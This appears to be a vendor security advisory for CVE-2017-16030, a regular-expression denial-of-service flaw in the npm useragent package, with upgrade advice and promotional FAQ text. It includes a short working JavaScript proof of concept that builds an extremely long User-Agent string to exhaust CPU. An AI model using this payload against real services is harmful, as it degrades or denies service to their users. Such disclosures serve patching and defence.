Summary
ReDoS via long UserAgent header in useragent
Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.
Proof of Concept
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
Impact
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Update to version 2.1.13 or later.
Frequently Asked Questions
- What is CVE-2017-16030? CVE-2017-16030 is a high-severity uncontrolled resource consumption vulnerability in useragent (npm), affecting versions <= 2.1.12. It is fixed in 2.1.13. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- Which versions of useragent are affected by CVE-2017-16030? useragent (npm) versions <= 2.1.12 is affected.
- Is there a fix for CVE-2017-16030? Yes. CVE-2017-16030 is fixed in 2.1.13. Upgrade to this version or later.
- Is CVE-2017-16030 exploitable, and should I be worried? Whether CVE-2017-16030 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2017-16030 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2017-16030? Upgrade
useragentto 2.1.13 or later.